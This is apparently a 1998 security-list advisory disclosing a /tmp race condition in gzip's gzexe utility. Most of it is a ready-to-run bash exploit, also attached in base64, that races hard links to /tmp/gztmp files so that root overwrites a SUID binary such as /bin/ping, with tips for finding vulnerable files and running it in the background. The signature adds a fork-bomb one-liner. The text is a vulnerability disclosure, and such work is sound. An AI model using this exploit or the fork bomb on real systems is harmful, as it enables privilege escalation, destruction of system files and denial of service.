GZEXE - the big problem

=?UNKNOWN-8BIT?Q?Micha=B3?= Zalewski (lcamtuf@BOSS.STASZIC.WAW.PL)
Wed, 28 Jan 1998 21:41:53 +0100

This is a multi-part message in MIME format.

--Boundary_(ID_x0DcY7fjwom6Y4t6H0wCFA)
Content-type: text/plain; charset=iso-8859-2
Content-transfer-encoding: quoted-printable

** DESCRIPTION **

GZEXE, part of gzip package, is a small utility which allows
'transparent' compressio any kind of executables (just like pklite
under ms-dos). Unfortunatelly, it may be extremally dangerous. Here's
the shell script used to decompression:

if /usr/bin/tail +$skip $0 | "/usr/bin"/gzip -cd > /tmp/gztmp$$; then...
[...] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
/tmp/gztmp$$ ${1+"$@"}; res=3D$?
^^^^^^^^^^^^

Just look at this... An example of badly-written one ;) It's possible
to overwrite any file (including SUIDs!) with code of gzexed executable
when root executes it... Then, this unwanted suid may be easily =
exploited.
It's also possible to enforce execution of OUR OWN code instead of=20
gzexed program, just by choosing as a victim any file not owned by
user running vunerable executables, but writable by him/her. This
file (even setuid) may be freely modified by attacker... Whoops!

** EXPLOIT **

-- GZEXE EXPLOIT --
#!/bin/bash
# GZEXE executables exploit (gzip 1.2.4)
# by Michal Zalewski (lcamtuf@staszic.waw.pl)
# ---------------------------------------------

VICTIM=3D/bin/ping
GZEXED=3Da.out

# Note: to locate gzexed executables you may use this:
# find / -type f -exec grep "/tmp/gztmp\\\$\\\$ \\\$" {} \; -print|cut =
-f 1 -d " "

if [ ! -f $VICTIM ]; then
echo "I can't find my victim ($VICTIM)..."
exit 0
fi

ORIG=3D`ls -l $VICTIM|awk '{print \$5}'`

echo "GZEXE exploit launched against $VICTIM ($ORIG bytes)."

renice +20 $PPID >&/dev/null
cd /tmp
touch $GZEXED

while :; do

START=3D`ps|awk '$6=3D=3D"ps"{print $1}'`
=20
let START=3DSTART+100
let DO=3DSTART+100

while [ "$START" -lt "$DO" ]; do
ln $VICTIM gztmp$START &>/dev/null
let START=3DSTART+1
done

sleep 10
rm -f gztmp* &>/dev/null

NOWY=3D`ls -l $VICTIM|awk '{print \$5}'`

if [ ! "$ORIG" =3D "$NOWY" ]; then
echo "Done, my master."
exit 0
fi
=20
done
-- EOF --

It may be left in background, just like my gcc-exploit-2. Please
verify vunerable executable filename (GZEXED - you may specify more
than one file, separated by spaces).

** FIX **

DO NOT USE GZEXE TO COMPRESS EXECUTABLES.
That's all, TMPDIR will NOT help in this case.

_______________________________________________________________________
Michal Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deustch]
=3D------- [ echo -e "while :;do \$0&\ndone">_;chmod +x _;./_ ] =
--------=3D

--Boundary_(ID_x0DcY7fjwom6Y4t6H0wCFA)
Content-type: application/octet-stream; name=gzexeploit
Content-disposition: attachment; filename=gzexeploit
Content-transfer-encoding: base64

IyEvYmluL2Jhc2gKCiMgR1pFWEUgZXhlY3V0YWJsZXMgZXhwbG9pdCAoZ3ppcCAxLjIuNCkKIyBi
eSBNaWNoYWwgWmFsZXdza2kgKGxjYW10dWZAc3Rhc3ppYy53YXcucGwpCiMgLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpWSUNUSU09L2Jpbi9waW5nCkdaRVhF
RD1hLm91dAoKIyBOb3RlOiB0byBsb2NhdGUgZ3pleGVkIGV4ZWN1dGFibGVzIHlvdSBtYXkgdXNl
IHRoaXM6CiMgZmluZCAvIC10eXBlIGYgLWV4ZWMgZ3JlcCAiL3RtcC9nenRtcFxcXCRcXFwkIFxc
XCQiIHt9IFw7IC1wcmludHxjdXQgLWYgMSAtZCAiICIKCmlmIFsgISAtZiAkVklDVElNIF07IHRo
ZW4KICBlY2hvICJJIGNhbid0IGZpbmQgbXkgdmljdGltICgkVklDVElNKS4uLiIKICBleGl0IDAK
ZmkKCk9SSUc9YGxzIC1sICRWSUNUSU18YXdrICd7cHJ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